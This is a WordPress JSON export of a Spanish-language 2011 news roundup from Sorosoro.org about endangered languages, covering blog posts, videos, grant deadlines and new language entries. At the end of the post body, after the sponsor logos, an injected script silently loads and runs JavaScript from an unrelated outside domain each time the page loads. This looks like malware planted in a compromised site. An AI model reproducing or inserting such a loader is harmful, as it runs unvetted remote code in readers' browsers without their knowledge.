{"id":45614,"date":"2011-03-28T11:15:33","date_gmt":"2011-03-28T09:15:33","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=45614"},"modified":"2025-10-21T23:05:34","modified_gmt":"2025-10-21T21:05:34","slug":"28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/","title":{"rendered":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Despu\u00e9s de haber descrito el contexto ling\u00fc\u00edstico australiano la semana pasada, <strong>Ma\u00efa Ponsonnet<\/strong> considera m\u00e1s particularmente <strong>las ideolog\u00edas ling\u00fc\u00edsticas en Australia<\/strong> y valoriza el contraste sorprendente que opone el multiling\u00fcismo pasado al monoling\u00fcismo contempor\u00e1neo.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/es\/la-ideologia-del-monolinguismo-en-el-contexto-australiano\">Ver el blog<\/a><\/p>\n<h5 style=\"text-align: justify;\">Video<\/h5>\n<p style=\"text-align: justify;\">En nuestra nueva r\u00fabrica \u00ab<strong>Recetas<\/strong>\u00ab, descubrimos esta semana <strong>un plato senegal\u00e9s<\/strong> elaborado minuciosamente por <strong>Awa Sambou<\/strong>, de Niamone en Casamanza: el pescado seco en salsa de hojas de mandioca&#8230; \u00a1Buen apetito a todos!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/pescado-seco-en-caldo-de-hojas-de-mandioca\">Ver el video<\/a><\/p>\n<p style=\"text-align: justify;\">Y para los angl\u00f3fonos, tres nuevos <strong>v\u00eddeos subtitulados en ingl\u00e9s<\/strong> est\u00e1n en l\u00ednea a partir de ahora: el cuento de Mumbwang, uno de los principales cuentos(recitados) fundadores de la etnia Punu (en dos partes), y l<strong>a entrevista de Kwenzi Mickala<\/strong>, el alcalde de Tchibanga, que nos habla de la decadencia de esta epopeya tradicional.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/el-mumbwanga-una-epopeya-del-punu-gabon\">Ver los videos<\/a><\/p>\n<h5 style=\"text-align: justify;\">Novedades<\/h5>\n<p style=\"text-align: justify;\"><strong>23 de febrero<\/strong>: el Comit\u00e9 Nacional de Ecuador ha lanzado una <strong>campa\u00f1a en favor de las culturas y de las lenguas ancestrales del continente americano<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/23-de-febrero-lanzamiento-en-ecuador-de-una-campana-en-favor-de-las-culturas-y-de-las-lenguas-ancestrales-del-continente-americano\">Leer el articulo<\/a><\/p>\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>16 de mayo<\/strong>: <strong>fecha l\u00edmite de dep\u00f3sito de expedientes<\/strong> para las <strong>becas de la Endangered Languages Program (ELP)<\/strong>. \u00c9stas ser\u00e1n entregadas a proyectos que pretendan preservar y revitalizar las lenguas y las culturas amenazadas de Siberia y de Am\u00e9rica del Norte y Central.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/16-de-mayo-fecha-limite-para-enviar-su-expediente-para-una-beca-del-elp-endangered-languages-program-eua\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>15 de abril<\/strong>: <strong>fecha l\u00edmite de inscripciones<\/strong> a las pr\u00e1cticas de <strong>\u201cInmersi\u00f3n ling\u00fc\u00edstica de A a Z\u201d <\/strong>organizadas por el <strong>CILO<\/strong> (Consortium for Indigenous Language Organizations), que tendr\u00e1 lugar este verano en Arizona, EUA.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/15-de-abril-fecha-limite-de-inscripcion-a-las-practicas-de-%E2%80%9Cinmersion-linguistica-de-a-a-z%E2%80%9D-en-tucson-arizona-eua\">Leer el articulo<\/a><\/p>\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\">Nuestra \u00ab\u00a0<em>Enciclopedia de las lenguas<\/em> \u00bb se enriquece de nuevo con <strong>4 nuevas fichas descriptivas (en franc\u00e9s o ingl\u00e9s)<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&#8211; Dos <a href=\"..\/es\/familia-de-lenguas-tupi-guarani\">lenguas tupi-guaran\u00eds<\/a>: el <a href=\"http:\/\/www.sorosoro.org\/le-guarayo\"><strong>guarayo<\/strong><\/a>, hablado en Bolivia y el <a href=\"http:\/\/www.sorosoro.org\/le-pai-tavytera\"><strong>p\u00e3y-tavyter\u00e3<\/strong><\/a> (llamado tambi\u00e9n kaiow\u00e1) hablado en Paraguay y en Brasil.<\/p>\n<p style=\"text-align: justify;\">&#8211; Y dos lenguas de Australia: el <a href=\"http:\/\/www.sorosoro.org\/en\/miriwoong\"><strong>miriwoong<\/strong><\/a> (de la <a href=\"..\/en\/jarrakan-languages\">familia jarrakan<\/a>) y el <a href=\"http:\/\/www.sorosoro.org\/en\/ritharrngu\"><strong>ritharrngu<\/strong><\/a> (de la <a href=\"..\/en\/macro-pama-nyungan-languages\">familia macro pama nuyngan<\/a>)<\/p>\n<h5 style=\"text-align: justify;\">Y como siempre\u2026<\/h5>\n<p style=\"text-align: justify;\">Vengan a probar sus conocimientos de las lenguas en nuestro <a href=\"https:\/\/www.sorosoro.org\/es\/\"><strong>Soroquiz<\/strong><\/a>.<\/p>\n<p style=\"text-align: justify;\">Y no olviden traducir la <strong>palabra de la quincena<\/strong>, \u00ab<a href=\"https:\/\/www.sorosoro.org\/es\/mano\"><strong>Mano<\/strong><\/a>\u00bb, en su lengua materna\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>\u00a1Les deseamos una excelente semana a todos!<\/strong><\/p>\n<p style=\"text-align: justify;\">El equipo de Sorosoro<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Con el Apoyo de<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac1-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"73\" height=\"78\" \/><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationOrange\" src=\"..\/wp-content\/uploads\/LogoFondationOrange-300x118.jpg\" alt=\"LogoFondationOrange\" width=\"136\" height=\"53\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Despu\u00e9s de haber descrito el contexto ling\u00fc\u00edstico australiano la semana pasada, Ma\u00efa Ponsonnet considera m\u00e1s particularmente las ideolog\u00edas ling\u00fc\u00edsticas en Australia y valoriza el contraste sorprendente que opone el multiling\u00fcismo pasado al monoling\u00fcismo contempor\u00e1neo. Ver el blog Video En nuestra nueva r\u00fabrica \u00abRecetas\u00ab, descubrimos esta semana un plato senegal\u00e9s elaborado minuciosamente por Awa Sambou, [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-45614","post","type-post","status-publish","format-standard","hentry","category-actualidades-de-sorosoro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog Despu\u00e9s de haber descrito el contexto ling\u00fc\u00edstico australiano la semana pasada, Ma\u00efa Ponsonnet considera m\u00e1s particularmente las ideolog\u00edas ling\u00fc\u00edsticas en Australia y valoriza el contraste sorprendente que opone el multiling\u00fcismo pasado al monoling\u00fcismo contempor\u00e1neo. Ver el blog Video En nuestra nueva r\u00fabrica \u00abRecetas\u00ab, descubrimos esta semana un plato senegal\u00e9s elaborado minuciosamente por Awa Sambou, [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-28T09:15:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:05:34+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org\",\"datePublished\":\"2011-03-28T09:15:33+00:00\",\"dateModified\":\"2025-10-21T21:05:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\"},\"wordCount\":386,\"articleSection\":[\"Novedades en Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\",\"name\":\"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-03-28T09:15:33+00:00\",\"dateModified\":\"2025-10-21T21:05:34+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/","og_locale":"es_ES","og_type":"article","og_title":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro","og_description":"Blog Despu\u00e9s de haber descrito el contexto ling\u00fc\u00edstico australiano la semana pasada, Ma\u00efa Ponsonnet considera m\u00e1s particularmente las ideolog\u00edas ling\u00fc\u00edsticas en Australia y valoriza el contraste sorprendente que opone el multiling\u00fcismo pasado al monoling\u00fcismo contempor\u00e1neo. Ver el blog Video En nuestra nueva r\u00fabrica \u00abRecetas\u00ab, descubrimos esta semana un plato senegal\u00e9s elaborado minuciosamente por Awa Sambou, [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/","og_site_name":"Sorosoro","article_published_time":"2011-03-28T09:15:33+00:00","article_modified_time":"2025-10-21T21:05:34+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org","datePublished":"2011-03-28T09:15:33+00:00","dateModified":"2025-10-21T21:05:34+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/"},"wordCount":386,"articleSection":["Novedades en Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/","name":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-03-28T09:15:33+00:00","dateModified":"2025-10-21T21:05:34+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/28-de-marzo-de-2011-las-ultimas-novedades-de-sorosoro-org\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"28 de marzo de 2011: Las \u00faltimas novedades de Sorosoro.org"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/45614","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=45614"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/45614\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=45614"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=45614"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=45614"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}